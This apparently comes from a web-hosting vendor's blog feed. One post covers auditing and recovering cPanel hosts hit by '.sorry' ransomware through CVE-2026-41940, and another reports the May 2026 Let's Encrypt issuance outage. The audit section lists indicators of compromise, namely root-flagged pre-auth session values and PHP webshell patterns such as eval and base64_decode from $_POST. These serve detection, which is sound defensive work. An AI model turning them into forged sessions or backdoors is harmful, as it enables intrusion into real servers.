&lt;h2&gt;How Many cPanel Hosts Have Been Hit?&lt;/h2&gt;
&lt;p&gt;Three numbers worth knowing, three numbers worth ignoring:&lt;/p&gt;
&lt;h3&gt;Worth knowing&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.shadowserver.org/&quot;&gt;Shadowserver&lt;/a&gt; has logged 44,000+ compromised cPanel IPs.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://censys.com/blog/the-cpanel-situation-is/&quot;&gt;Censys&lt;/a&gt; sees 8,859 hosts with publicly exposed &lt;code&gt;.sorry&lt;/code&gt; files, of which 7,135 are confirmed running cPanel/WHM.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.helpnetsecurity.com/2026/05/04/multiple-threat-actors-actively-exploit-cpanel-vulnerability-cve-2026-41940/&quot;&gt;Help Net Security&lt;/a&gt; reports multiple distinct threat actors exploiting the same CVE, not just the Sorry operator.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Worth ignoring&lt;/h3&gt;
&lt;p&gt;The “1.5 million servers” figure circulating on social media. That is the total population of internet-exposed cPanel hosts, not the victim count. Picus and others cite it for context, but it does not belong in any operational decision-making.&lt;/p&gt;
&lt;p&gt;The first figure is the ground truth for “how many hosts had a root WHM compromise”. The second is the lower bound for “how many of those then got hit with ransomware specifically”. The gap between them is the population that got backdoored, credential-scraped, or used as a launchpad without the loud ransomware payload.&lt;/p&gt;
&lt;h2&gt;How Do I Audit a Suspect cPanel Host Myself?&lt;/h2&gt;
&lt;p&gt;If you administer the cPanel host directly, three checks beyond &lt;code&gt;.sorry&lt;/code&gt; filenames:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Session directory.&lt;/strong&gt; Look in &lt;code&gt;/var/cpanel/sessions/raw/&lt;/code&gt; for pre-auth session files containing &lt;code&gt;user=root&lt;/code&gt;, &lt;code&gt;hasroot=1&lt;/code&gt;, &lt;code&gt;tfa_verified=1&lt;/code&gt;, or multiple &lt;code&gt;pass=&lt;/code&gt; lines. Any of those in a pre-auth file is the proof for CVE-2026-41940 exploitation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Webshells.&lt;/strong&gt; Public reporting mentions “numerous” persistence webshells but does not catalogue specific paths. Pull the file inventory, sort by mtime since 23 February 2026, and grep for the standard PHP backdoor patterns (&lt;code&gt;eval&lt;/code&gt;, &lt;code&gt;assert&lt;/code&gt;, &lt;code&gt;base64_decode&lt;/code&gt;, dynamic includes from &lt;code&gt;$_POST&lt;/code&gt; or &lt;code&gt;$_REQUEST&lt;/code&gt;). Our &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Find Hacks and Backdoors&lt;/a&gt; post covers the manual technique.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MySQL root.&lt;/strong&gt; Check &lt;code&gt;mysql.user&lt;/code&gt; for unexpected users or unexpected &lt;code&gt;Host&lt;/code&gt; entries on the root account. The Sorry operator’s pre-encryption playbook includes a MySQL tampering step.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you only manage the sites and not the host, the file-level check is the only one you can run yourself. That is the one we automated.&lt;/p&gt;
&lt;h2&gt;How Do I Recover From a .sorry Ransomware Attack?&lt;/h2&gt;
&lt;p&gt;The recovery story for ransomware is unavoidably the backup story. There is no clever path here.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Do not reuse the compromised host.&lt;/strong&gt; Move to a clean cPanel install on a patched version (11.110.0.97 / 11.118.0.63 / 11.126.0.54 / 11.132.0.29 / 11.134.0.20 / 11.136.0.5 / WP Squared 136.1.7).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Restore site files and the database from your last known-good backup.&lt;/strong&gt; If you have been using mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;one-click backup&lt;/a&gt; feature, the most recent pre-encryption backup is the obvious starting point. Verify timestamps before restoring. Restoring a backup taken after the breach reintroduces the backdoors.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rotate every credential the host touched.&lt;/strong&gt; Database passwords, WP_ADMIN_USERS, FTP, mail accounts, API keys present in &lt;code&gt;wp-config.php&lt;/code&gt; or &lt;code&gt;configuration.php&lt;/code&gt;, Stripe/PayPal connectors, anything in &lt;code&gt;.env&lt;/code&gt;. The Sorry playbook scrapes for these before encrypting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Run a full audit of the restored site before pointing DNS at it.&lt;/strong&gt; Even a clean backup can have an older backdoor that the attacker used to gain CMS-level persistence months before the ransomware payload arrived. Our &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;How to Fix a Hacked Joomla or WordPress Site&lt;/a&gt; walkthrough covers this end-to-end.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you have no clean backup&lt;/strong&gt;, the practical options are: accept the data loss, rebuild from whatever assets you have elsewhere (git repos, CMS exports stored off-host, customer-side copies of content), or, only if the data is irreplaceable, engage a professional IR firm to negotiate. &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is who we recommend when “irreplaceable” is the honest answer.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;Paying the ransom is generally a bad idea even when the data is critical. The Sorry operator&apos;s single shared Tox ID across all victims means there is no per-victim accountability, no &quot;reputation&quot; they need to protect with a working decryptor, and no straightforward way to verify a sample decrypt before sending payment. Treat it as a last resort with an IR firm, never as an end-user transaction.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why Is .sorry Detection a Default Check?&lt;/h2&gt;
&lt;p&gt;Most signature-based malware scanners look at file &lt;em&gt;content&lt;/em&gt;. A &lt;code&gt;.sorry&lt;/code&gt; file’s content is by definition unreadable ciphertext, so there is nothing for a YARA rule or a PHP eval-pattern regex to match on. The filename, on the other hand, is unmissable. There is no legitimate reason for a file under any CMS document root to end in &lt;code&gt;.sorry&lt;/code&gt;. A single &lt;code&gt;LIKE &apos;%.sorry&apos;&lt;/code&gt; query is faster than scanning content, has zero false positives, and works against future variants that change the encryption algorithm but keep the extension.&lt;/p&gt;
&lt;p&gt;That is the same logic behind our existing detection for the 8,192,029-byte hack payload and the dozens of filename patterns we already flag on every audit. Cheap pattern checks at the end of an audit catch things content scanners miss. We added this one, we will add more as new ransomware families emerge with their own signature extensions.&lt;/p&gt;
&lt;p&gt;If you already have mySites.guru connected to your sites, you do not need to do anything. The next audit on each site will pick up any &lt;code&gt;.sorry&lt;/code&gt; files automatically. If a site flips to “hacked” with a Ransomware badge, you will get the standard hacked-site notification. The detection is retroactive: sites that were already encrypted before today will surface the badge on their next audit pass.&lt;/p&gt;
&lt;p&gt;If you do not have mySites.guru connected yet, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; will run the same check across any sites you point it at.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/critrical-cpanel-flaw-mass-exploited-in-sorry-ransomware-attacks/&quot;&gt;BleepingComputer: “Sorry” ransomware mass exploitation of cPanel&lt;/a&gt;, first ransomware-specific reporting, 2 May 2026.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/&quot;&gt;watchTowr Labs: CVE-2026-41940 root cause&lt;/a&gt;, the deepest technical breakdown of the CRLF injection chain.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass/&quot;&gt;Rapid7: CVE-2026-41940 ETR&lt;/a&gt;, patch matrix, IR notes, and confirmation of mitigations.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://censys.com/blog/the-cpanel-situation-is/&quot;&gt;Censys: The cPanel Situation&lt;/a&gt;, independent measurement of exposed &lt;code&gt;.sorry&lt;/code&gt; files on the public internet.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.helpnetsecurity.com/2026/05/04/multiple-threat-actors-actively-exploit-cpanel-vulnerability-cve-2026-41940/&quot;&gt;Help Net Security: multiple threat actors exploiting CVE-2026-41940&lt;/a&gt;, confirms the ransomware is one of several payloads riding the same bug.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>ransomware</category><category>cpanel</category><category>malware</category><category>hacked</category><enclosure url="https://mysites.guru/img/og/blog/sorry-ransomware-cpanel-detection.png" length="0" type="image/png"/></item><item><title>Let&apos;s Encrypt Is Down. Renewals Are Next</title><link>https://mysites.guru/blog/lets-encrypt-issuance-halted-2026-05-08/</link><guid isPermaLink="true">https://mysites.guru/blog/lets-encrypt-issuance-halted-2026-05-08/</guid><description>Let&apos;s Encrypt halted certificate issuance at 18:37 UTC on 2026-05-08 after a cross-signed cert problem with its new Generation Y root. Resumed in 2h 28m.</description><pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;div&gt;
    &lt;span&gt;&lt;/span&gt;
    &lt;p&gt;Operational - incident closed 2026-05-13 20:32 UTC&lt;/p&gt;
  &lt;/div&gt;
  &lt;p&gt;Let&apos;s Encrypt has closed the incident. The cross-certified subordinate CAs were missing &lt;strong&gt;Extended Key Usage (EKU)&lt;/strong&gt; fields that are now required. Let&apos;s Encrypt has revoked and reissued the cross-signs of &lt;strong&gt;X2/YR by X1&lt;/strong&gt;, and &lt;strong&gt;YE by X2&lt;/strong&gt;. End-entity certificates have not been revoked because they remain compliant.&lt;/p&gt;
  &lt;p&gt;If you hold a certificate issued by the &lt;code&gt;tlsserver&lt;/code&gt; or &lt;code&gt;shortlived&lt;/code&gt; ACME profiles, Let&apos;s Encrypt recommends renewing it. The &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-acme-ari/&quot;&gt;ACME Renewal Information (ARI) API&lt;/a&gt; is signalling affected certificates to renew now, so any ACME client that consults ARI will pick the new chain up automatically. Certificates issued from Let&apos;s Encrypt&apos;s roots &lt;strong&gt;YE&lt;/strong&gt; and &lt;strong&gt;YR&lt;/strong&gt; may not chain successfully to the previous roots &lt;strong&gt;X1&lt;/strong&gt; and &lt;strong&gt;X2&lt;/strong&gt; without an updated cross-signed intermediate.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://letsencrypt.status.io/&quot;&gt;Let’s Encrypt’s status page&lt;/a&gt; opened the incident at 18:37 UTC on 2026-05-08 with a single sentence: &lt;em&gt;“We have been made aware of a potential incident and are shutting down all issuance.”&lt;/em&gt; The production ACME directory endpoint at &lt;code&gt;acme-v02.api.letsencrypt.org&lt;/code&gt; returned HTTP 503 for roughly two and a half hours before service was restored shortly after 21:00 UTC. The status page now describes the cause as an issue with the cross-signed certificate from Let’s Encrypt’s Generation X root to its new Generation Y root, and confirms issuance has been switched back to the Generation X root for the &lt;strong&gt;tlsserver&lt;/strong&gt; and &lt;strong&gt;shortlived&lt;/strong&gt; ACME certificate profiles.&lt;/p&gt;
&lt;p&gt;We saw it across mySites.guru subscriber sites during the outage window. Renewal jobs that ran between roughly 18:37 and 21:00 UTC came back with &lt;code&gt;urn:ietf:params:acme:error:serverInternal&lt;/code&gt; and &lt;code&gt;503 Service Unavailable&lt;/code&gt; from &lt;code&gt;acme-v02.api.letsencrypt.org/directory&lt;/code&gt;. None of those failures would reach the site owner until their alert threshold tripped, or worse, until the cert actually expired and a browser started blocking visitors. That gap between “renewal failed” and “site is down” is the whole reason we built expiry monitoring, and incidents like today are the reason it earns its keep.&lt;/p&gt;
&lt;p&gt;This broke far more than just self-hosted ACME clients. At 20:46 UTC, &lt;a href=&quot;https://status.digitalocean.com/incidents/p3zyn7c4jyx7&quot;&gt;DigitalOcean opened an incident&lt;/a&gt; confirming the Let’s Encrypt outage was breaking new certificate issuance for Spaces, Spaces CDN, Load Balancers and App Platform Custom Domains, and causing stuck or delayed creates/forks/restores on Managed Databases (Mongo, PostgreSQL, MySQL). DigitalOcean’s note that “operations related to Managed Databases and App Platform Custom Domains will automatically retry and should complete successfully once the upstream outage is resolved” was fair, and confirms that a Let’s Encrypt halt is not just a self-hosted-VPS problem: it cascades through every managed-platform layer that depends on Let’s Encrypt for TLS termination.&lt;/p&gt;
&lt;p&gt;The rest of this is what we know about the cause, what’s still unclear, and what to do if you ran a renewal during the outage window.&lt;/p&gt;
&lt;h2&gt;What Does the Let’s Encrypt Incident Mean for My Sites?&lt;/h2&gt;
&lt;div&gt;
  &lt;p&gt;Existing certificates keep working until their stated expiry.&lt;/p&gt;
  &lt;p&gt;The outage breaks new issuance and renewal, not currently-valid certificates.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The TLS handshake between a visitor’s browser and your web server doesn’t phone home to Let’s Encrypt on every request. CRLs are static-published documents. OCSP (the live revocation lookup that used to depend on CA infrastructure being available) &lt;a href=&quot;https://letsencrypt.org/2025/08/06/ocsp-service-has-reached-end-of-life&quot;&gt;reached end of life in August 2025&lt;/a&gt;. So a Let’s Encrypt outage today does not in itself break sites that already hold a valid cert.&lt;/p&gt;
&lt;p&gt;What it does break is new issuance and renewal. Every certbot, acme.sh, Caddy, Traefik, cPanel autossl and managed-host renewal job currently in flight is hitting that 503. ACME clients on default schedules typically retry with some backoff, and most are configured to renew at 60 days into a 90-day lifetime. A multi-hour outage rarely causes immediate expiry. A multi-day outage starts catching the long tail of certs that were already within their 30-day renewal window when it started.&lt;/p&gt;
&lt;p&gt;The certs most exposed are the ones using Let’s Encrypt’s &lt;a href=&quot;https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability&quot;&gt;six-day “shortlived” profile&lt;/a&gt;, generally available since 2026-01-15. Shortlived certs renew every 2.5 days or so, so even a 12-hour outage eats a meaningful chunk of the renewal margin.&lt;/p&gt;
&lt;h2&gt;How the Let’s Encrypt Outage Unfolded&lt;/h2&gt;
&lt;div&gt;
  &lt;p&gt;A cross-sign problem with their new Generation Y root.&lt;/p&gt;
  &lt;p&gt;Issuance has been rolled back to the older Generation X root for the tlsserver and shortlived ACME profiles.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The status page note reads: &lt;em&gt;“Due to an issue with the cross-signed certificate from our Generation X root to our new Generation Y root, all issuance has been switched back to our Generation X root certificate. This affects our ‘tlsserver’ and ‘shortlived’ ACME certificate profiles.”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In plain English: Let’s Encrypt has two root certificates in play. Generation X is the older one that every browser, OS and TLS library has trusted for years. Generation Y is the newer one they’ve been rolling in. To bridge old clients during the rollover, end-entity certs were being issued from an intermediate that chained up via a &lt;em&gt;cross-signed&lt;/em&gt; link from Generation X to Generation Y, so anything trusting either root could validate the chain. The cross-sign is what broke. Issuing only via Generation X again keeps trust working for everyone, at the cost of pausing the Generation Y rollout (the shorter-chain handshake and ECDSA-root benefits Generation Y was meant to deliver).&lt;/p&gt;
&lt;p&gt;For most operators that means nothing changes. Certificates issued today after roughly 21:00 UTC chain via Generation X, the way they have for years. Browsers and TLS clients won’t notice. The only people who need to look twice are anyone who pinned the new Generation Y root in their own infrastructure (rare, but possible for some IoT or embedded use cases): verify your setup still validates.&lt;/p&gt;
&lt;h3&gt;Postmortem: Missing Extended Key Usage on the Cross-Signs&lt;/h3&gt;
&lt;p&gt;On 2026-05-13 at 20:32 UTC Let’s Encrypt closed the incident with a clear root cause. The cross-certified subordinate CAs that bridged Generation X and Generation Y were &lt;strong&gt;missing Extended Key Usage (EKU) fields&lt;/strong&gt; that are now required. The CA/Browser Forum &lt;a href=&quot;https://cabforum.org/working-groups/server/baseline-requirements/documents/&quot;&gt;Baseline Requirements&lt;/a&gt; tightened EKU rules so that a subordinate CA used to issue TLS server certificates must have an explicit &lt;code&gt;id-kp-serverAuth&lt;/code&gt; EKU; a subordinate without one is no longer a valid issuing chain for &lt;code&gt;serverAuth&lt;/code&gt; use. The original cross-signs had been issued without that field, which is why the new chain stopped validating once the requirement took effect.&lt;/p&gt;
&lt;p&gt;The fix had two phases. The first, on 2026-05-08, was the operational rollback that’s already in this post: switch the &lt;code&gt;tlsserver&lt;/code&gt; and &lt;code&gt;shortlived&lt;/code&gt; ACME profiles back to issuing from the Generation X root so the rest of the world keeps validating. The second, on 2026-05-13, was the proper repair: &lt;strong&gt;revoke and reissue the cross-signs&lt;/strong&gt; of X2/YR by X1, and YE by X2, with the EKU fields included. End-entity certificates were not revoked because they’re still compliant on their own. The repair is on the intermediates, not the leaves.&lt;/p&gt;
&lt;p&gt;If you hold a certificate that was issued by the &lt;code&gt;tlsserver&lt;/code&gt; or &lt;code&gt;shortlived&lt;/code&gt; ACME profiles in the window when the bad cross-signs were in use, Let’s Encrypt recommends renewing it so the chain pulls the corrected intermediate. The &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-acme-ari/&quot;&gt;ACME Renewal Information (ARI) API&lt;/a&gt; is signalling affected certificates to renew immediately, so any ACME client that honours ARI (recent certbot, recent acme.sh, Caddy 2.7+) will pick the renewal up on its next scheduled run with no operator action required. Anyone who pinned the new Generation Y root in their own infrastructure should verify their cross-signed intermediate has been refreshed.&lt;/p&gt;
&lt;p&gt;This is the right shape of postmortem from a CA. Fast operational mitigation, clear root cause, damage limited to intermediates, not leaves, and a renewal signal pushed through ARI so the long tail of clients fixes itself.&lt;/p&gt;
&lt;h3&gt;Incident Timeline&lt;/h3&gt;
&lt;p&gt;All times UTC. We’re updating this list as new signals come in.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of letsencrypt.status.io showing the active incident &amp;quot;Stopping Issuance for Potential Incident&amp;quot;, first updated 2026-05-08 18:37 UTC, with the message: We have been made aware of a potential incident and are shutting down all issuance. Production acme-v02 marked Partial Service Disruption.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1928px) 1928px, 100vw&quot; width=&quot;1928&quot; height=&quot;1912&quot; src=&quot;https://mysites.guru/_astro/lets-encrypt-status-page-incident-2026-05-08.vg14mTEd_lBPTl.webp&quot; srcset=&quot;https://mysites.guru/_astro/lets-encrypt-status-page-incident-2026-05-08.vg14mTEd_2LGwt.webp 640w, https://mysites.guru/_astro/lets-encrypt-status-page-incident-2026-05-08.vg14mTEd_174c9W.webp 750w, https://mysites.guru/_astro/lets-encrypt-status-page-incident-2026-05-08.vg14mTEd_DV7p7.webp 828w, https://mysites.guru/_astro/lets-encrypt-status-page-incident-2026-05-08.vg14mTEd_Z150AQ4.webp 1080w, https://mysites.guru/_astro/lets-encrypt-status-page-incident-2026-05-08.vg14mTEd_1wuLkX.webp 1280w, https://mysites.guru/_astro/lets-encrypt-status-page-incident-2026-05-08.vg14mTEd_ZK9wfr.webp 1668w, https://mysites.guru/_astro/lets-encrypt-status-page-incident-2026-05-08.vg14mTEd_lBPTl.webp 1928w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;Time (UTC)&lt;/th&gt;
        &lt;th&gt;What happened&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;2026-05-08 17:17 - 17:27&lt;/td&gt;
        &lt;td&gt;Scheduled &lt;strong&gt;Database API maintenance&lt;/strong&gt; on &lt;code&gt;acme-v02.api.letsencrypt.org&lt;/code&gt; (Production), High Assurance Datacenter 1 and 2. The status page note said ACME clients might see timeouts of up to 10 minutes during the window. Marked &lt;em&gt;Done&lt;/em&gt; at 18:46 UTC. Same component, same datacenters as the issuance halt that followed about an hour later. Let&apos;s Encrypt has not linked the two, and we&apos;re not either - but it&apos;s the timing detail people will ask about.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;2026-05-08 18:37&lt;/td&gt;
        &lt;td&gt;Let&apos;s Encrypt opens incident &lt;strong&gt;&quot;Stopping Issuance for Potential Incident&quot;&lt;/strong&gt;. Single-sentence message: &lt;em&gt;&quot;We have been made aware of a potential incident and are shutting down all issuance.&quot;&lt;/em&gt; Components flagged: acme-v02.api.letsencrypt.org (Production), acme-staging-v02 (Staging), portal.letsencrypt.org, portal-staging.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;2026-05-08 18:47&lt;/td&gt;
        &lt;td&gt;Status page last updated. Production confirmed at &lt;strong&gt;&quot;Partial Service Disruption&quot;&lt;/strong&gt;, datacenters High Assurance 1 and 2. No further public communication after this point.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;~19:00&lt;/td&gt;
        &lt;td&gt;First failed renewal jobs on mySites.guru subscriber sites. ACME clients return &lt;code&gt;urn:ietf:params:acme:error:serverInternal&lt;/code&gt; against &lt;code&gt;/directory&lt;/code&gt;. Staging endpoint still healthy, returning HTTP 200, confirming the halt is targeted at production.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;~19:30&lt;/td&gt;
        &lt;td&gt;Production &lt;code&gt;/directory&lt;/code&gt; still HTTP 503. No thread on community.letsencrypt.org incidents board. No top-of-page Hacker News discussion. Twitter chatter starting but unconfirmed.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;2026-05-08 20:46&lt;/td&gt;
        &lt;td&gt;&lt;strong&gt;DigitalOcean opens an incident&lt;/strong&gt; on its &lt;a href=&quot;https://status.digitalocean.com/incidents/p3zyn7c4jyx7&quot;&gt;status page&lt;/a&gt;: &lt;em&gt;&quot;Let&apos;s Encrypt Outage Affecting Certificate Issuance and Managed Databases Operations&quot;&lt;/em&gt;, status &lt;em&gt;Identified&lt;/em&gt;. Affected components flagged Global: &lt;strong&gt;App Platform, Managed Databases, Load Balancers, Spaces, Spaces CDN&lt;/strong&gt;. Symptoms: inability to create new Let&apos;s Encrypt certificates for Spaces / Load Balancers / App Platform Custom Domains, and stuck or delayed creates/forks/restores on Mongo, PostgreSQL and MySQL managed databases. DO&apos;s note: operations will automatically retry and complete once Let&apos;s Encrypt is back. Confirms the outage is now visible at the managed-platform layer, not just on self-hosted ACME clients.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;~21:05&lt;/td&gt;
        &lt;td&gt;&lt;strong&gt;Issuance restored.&lt;/strong&gt; &lt;code&gt;acme-v02.api.letsencrypt.org/directory&lt;/code&gt; returns HTTP 200 again. Status page note: &lt;em&gt;&quot;Due to an issue with the cross-signed certificate from our Generation X root to our new Generation Y root, all issuance has been switched back to our Generation X root certificate. This affects our &apos;tlsserver&apos; and &apos;shortlived&apos; ACME certificate profiles.&quot;&lt;/em&gt; Total outage window: roughly 2h 28m.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;2026-05-13 20:32&lt;/td&gt;
        &lt;td&gt;&lt;strong&gt;Incident closed.&lt;/strong&gt; Status moved back to &lt;em&gt;Operational&lt;/em&gt;. Let&apos;s Encrypt&apos;s note identifies the root cause as &lt;strong&gt;missing Extended Key Usage (EKU) fields&lt;/strong&gt; on the cross-certified subordinate CAs, which are now required. Let&apos;s Encrypt has revoked and reissued the cross-signs of &lt;strong&gt;X2/YR by X1&lt;/strong&gt;, and &lt;strong&gt;YE by X2&lt;/strong&gt;. End-entity certs are not being revoked because they remain compliant. ARI is signalling affected certs (those issued by the &lt;code&gt;tlsserver&lt;/code&gt; and &lt;code&gt;shortlived&lt;/code&gt; profiles) to renew now. Total incident window from initial halt to closure: ~5 days, but issuance itself was only paused for ~2h 28m on 2026-05-08.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;Now&lt;/td&gt;
        &lt;td&gt;All ACME profiles operational. Any client that honours &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-acme-ari/&quot;&gt;ACME Renewal Information (ARI)&lt;/a&gt; will renew affected certificates automatically. Watching &lt;a href=&quot;https://letsencrypt.status.io/&quot;&gt;letsencrypt.status.io&lt;/a&gt; and &lt;a href=&quot;https://community.letsencrypt.org/c/incidents/16&quot;&gt;community.letsencrypt.org/c/incidents&lt;/a&gt; for any further detail or Generation Y reintroduction notice.&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;If you have already-issued certs that need re-issuance for any reason today (key compromise, domain change, SAN addition), assume that operation is blocked until further notice and plan around it.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Do I Find Every Site With an At-Risk SSL Certificate?&lt;/h2&gt;
&lt;p&gt;The hard part of an incident like this isn’t the technical fix on any one site. It’s knowing which sites in your portfolio are at risk. If you manage twenty Joomla and WordPress sites for clients, you have two questions to answer in the next ten minutes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Which of my sites’ Let’s Encrypt certs are inside their renewal window today?&lt;/li&gt;
&lt;li&gt;Which of my sites’ renewal crons ran in the last hour and failed?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru has &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;tracked SSL certificates on every site snapshot since 2012&lt;/a&gt;. On every snapshot we download the active certificate the same way a browser would, then record the issuer, expiry date and full chain validity. The dashboard sorts every connected site by certificate expiration date. During an incident like today’s, that sorted list is your priority queue.&lt;/p&gt;
&lt;p&gt;The default alert window is two days before expiry. For most sites running a healthy renewal cron that’s plenty (the cron renews at day 30, the alert is a safety net). Today is the day that safety net actually matters.&lt;/p&gt;
&lt;p&gt;If you’re not a subscriber yet, you can connect your sites and run the same SSL audit in a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt;. The SSL state of every connected site is one of the things the audit covers.&lt;/p&gt;
&lt;h2&gt;mySites.guru Subscriber Action Steps&lt;/h2&gt;
&lt;p&gt;Open &lt;a href=&quot;https://manage.mysites.guru/en/sites/by/ssl/expiration&quot;&gt;manage.mysites.guru/en/sites/by/ssl/expiration&lt;/a&gt;. The page lists every connected site sorted by SSL expiration date, with the issuer (Let’s Encrypt, ZeroSSL, Sectigo, cPanel auto-SSL, whatever) for each. That’s the single view you want during this incident.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru SSL Issuer And Expiration Dates dashboard listing every connected site with its certificate issuer code and days-until-expiry, sorted by expiration date soonest first&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;1483&quot; src=&quot;https://mysites.guru/_astro/mysitesguru-ssl-issuer-expiration-dashboard.ZqyFh1RB_q7X4z.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysitesguru-ssl-issuer-expiration-dashboard.ZqyFh1RB_Z2tKBGW.webp 640w, https://mysites.guru/_astro/mysitesguru-ssl-issuer-expiration-dashboard.ZqyFh1RB_27id5T.webp 750w, https://mysites.guru/_astro/mysitesguru-ssl-issuer-expiration-dashboard.ZqyFh1RB_1Lrwbt.webp 828w, https://mysites.guru/_astro/mysitesguru-ssl-issuer-expiration-dashboard.ZqyFh1RB_Z1N2oJO.webp 1080w, https://mysites.guru/_astro/mysitesguru-ssl-issuer-expiration-dashboard.ZqyFh1RB_ZTnSlw.webp 1280w, https://mysites.guru/_astro/mysitesguru-ssl-issuer-expiration-dashboard.ZqyFh1RB_Z2jUiMe.webp 1668w, https://mysites.guru/_astro/mysitesguru-ssl-issuer-expiration-dashboard.ZqyFh1RB_1tumvM.webp 2048w, https://mysites.guru/_astro/mysitesguru-ssl-issuer-expiration-dashboard.ZqyFh1RB_q7X4z.webp 2400w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Reading the issuer column&lt;/p&gt;
  &lt;p&gt;The codes in the Issuer column are the certificate authority&apos;s intermediate CA short names. The ones starting with &lt;strong&gt;R&lt;/strong&gt; (R10, R11, R12, R13, R14) and &lt;strong&gt;E&lt;/strong&gt; (E5, E6, E7, E8, E9) are all Let&apos;s Encrypt: R-series are RSA intermediates, E-series are ECDSA. &lt;strong&gt;WE1&lt;/strong&gt; and &lt;strong&gt;WR1-WR4&lt;/strong&gt; are Google Trust Services. Anything starting with R or E in this dashboard means the site is renewing through Let&apos;s Encrypt and is exposed to today&apos;s incident.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Three things to do with it:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Anything in the next 14 days needs eyes on it today. Sort by expiration, look at the top of the list, decide whether each site can wait or needs a manual intervention (paid stopgap cert or a switch to ZeroSSL).&lt;/li&gt;
&lt;li&gt;Filter by issuer. If a site is showing a non Let’s Encrypt issuer, it’s not affected by this incident at all. Move on.&lt;/li&gt;
&lt;li&gt;For at-risk sites, check the renewal cron logs on the host. Most failures right now will be &lt;code&gt;urn:ietf:params:acme:error:serverInternal&lt;/code&gt; from &lt;code&gt;acme-v02.api.letsencrypt.org/directory&lt;/code&gt;. That’s the LE outage, not anything wrong with your config.&lt;/li&gt;
&lt;/ol&gt;
